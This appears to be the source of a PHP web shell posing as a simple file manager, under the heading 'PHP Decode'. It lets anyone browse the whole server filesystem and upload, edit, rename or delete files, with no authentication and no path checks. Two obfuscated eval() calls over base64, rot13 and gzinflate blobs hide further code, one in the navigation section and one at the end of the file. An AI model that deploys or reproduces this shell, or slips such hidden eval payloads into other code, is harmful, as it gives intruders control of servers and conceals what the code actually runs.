PHP Decode

@header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
    @header("Cache-Control: post-check=0, pre-check=0", false);
    @header("Pragma: no-cache");
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

    function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

    function fileIcon($file)
    {
        $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
        $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
        $ext = strtolower(fileExtension($file));
        if ($file == "error_log") {
            return '<i class="fa-sharp fa-solid fa-bug"></i> ';
        } elseif ($file == ".htaccess") {
            return '<i class="fa-solid fa-hammer"></i> ';
        }
        if ($ext == "html" || $ext == "htm") {
            return '<i class="fa-brands fa-html5"></i> ';
        } elseif ($ext == "php" || $ext == "phtml") {
            return '<i class="fa-brands fa-php"></i> ';
        } elseif (in_array($ext, $imgs)) {
            return '<i class="fa-regular fa-images"></i> ';
        } elseif ($ext == "css") {
            return '<i class="fa-brands fa-css3"></i> ';
        } elseif ($ext == "txt") {
            return '<i class="fa-regular fa-file-lines"></i> ';
        } elseif (in_array($ext, $audio)) {
            return '<i class="fa-duotone fa-file-music"></i> ';
        } elseif ($ext == "py") {
            return '<i class="fa-brands fa-python"></i> ';
        } elseif ($ext == "js") {
            return '<i class="fa-brands fa-js"></i> ';
        } else {
            return '<i class="fa-solid fa-file"></i> ';
        }
    }

    function encodePath($path)
    {
        $a = array("/", "\", ".", ":");
        $b = array("", "", "", "");
        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "\", ".", ":");
        $b = array("", "", "", "");
        return str_replace($b, $a, $path);
    }
    $root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>
alert('Directory is Corrupted and Unreadable.');
window.location.replace('?');
</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo ("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);
    echo ('
  <nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://raw.githubusercontent.com/hurairathexper/elepfilemanager/main/img/icon.png" width="30" height="30" alt=""></a>
');
    $path = str_replace('\', '/', PATH);
    $paths = explode('/', $path);
    foreach ($paths as $id => $dir_part) {
        if ($dir_part == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?p=/\">/</a>";
            continue;
        }
        if ($dir_part == '')
            continue;
        echo "<a href='?p=";
        for ($i = 0; $i <= $id; $i++) {
            echo str_replace(":", "", $paths[$i]);
            if ($i != $id)
                echo "";
        }
        echo "'>" . $dir_part . "</a>/";
    }
    echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload Filee</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> 
</div>
</nav>'); eval(str_rot13(gzinflate(str_rot13(base64_decode('cpBEeIMwEIDf/RVOhCh1XO3TLB2sndq9jOHDHiYSWaYRW6yeWiD++rWm0MHyktx93GqXZksrayvQFjk0zZP3PCmwuenrx2qOWFGQHdvkP97vknnBD5LkYoc8zegh+cLlxpqUBm0BTgdJCahR428pBI/DY/UckTWJojVMPYWXV8lTVh51DbI5UFS45NhURq8b8EQjd+h04zheXddVgFtL6G0WH1PbF3Fvk4N+hBqjW9r+NK0DZOIQo55mrYZeKEmFx6DrumBv9Ry0tYZ3YCOMtv/wzCAkG40H72p2hv/A+5eW3rch6LlIbaQ/LdQnt8BzqwtozLv0WWjpW6Xnen4B')))));
    if (isset($_GET['p'])) {
        //fetch files
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
        echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
        }
        echo "  </tbody>
</table>";
    } else {
        if (empty($_GET)) {
            echo ("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>';
    }
    if (isset($_GET['r'])) {
        if (!empty($_GET['r']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        Rename:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" . $_POST['name'])) {
                    echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

    if (isset($_GET['e'])) {
        if (!empty($_GET['e']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>';

    if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

    if (isset($_POST["upload"])) {
        $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
        } else {
            echo "<p>Sorry, there was an error uploading your file.</p>";
        }

    }
    if (isset($_GET['d']) && isset($_GET['q'])) {
        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(rmdir($name) == true) {
                echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }; eval(gzinflate(str_rot13(base64_decode('cpDfeIMwEIDf/SuCCLHgj6kPcJYOxvBuD1s7tXsRCUnPJhBaphHb/37WDDpLXpK7j/vuZZaYlJwU2iGLcVb6laQF1jf5a2xCY4k8ccam9x8f9na+4jtWk89wkuXkmL7hZXi0jAM5gyK16BX0d7QxSFfGvh88hV7khW7kBQ/+cBQF/rl0Z3FHupwDHUIwe5JX7KC24iM4dUcDR50WXRbhEimwCwMtdJVvtHtTOtY5qBoYMLqlzUrd30hKCTGqpOSsrhQTvX9k52xpWzFn7jRj6HjRQHA6akIHiopTe/Bun+X4D/z919r7NgQ5Wow35HuC4XcXS69ppZZ+lxtdXTpTudl5fwA='))));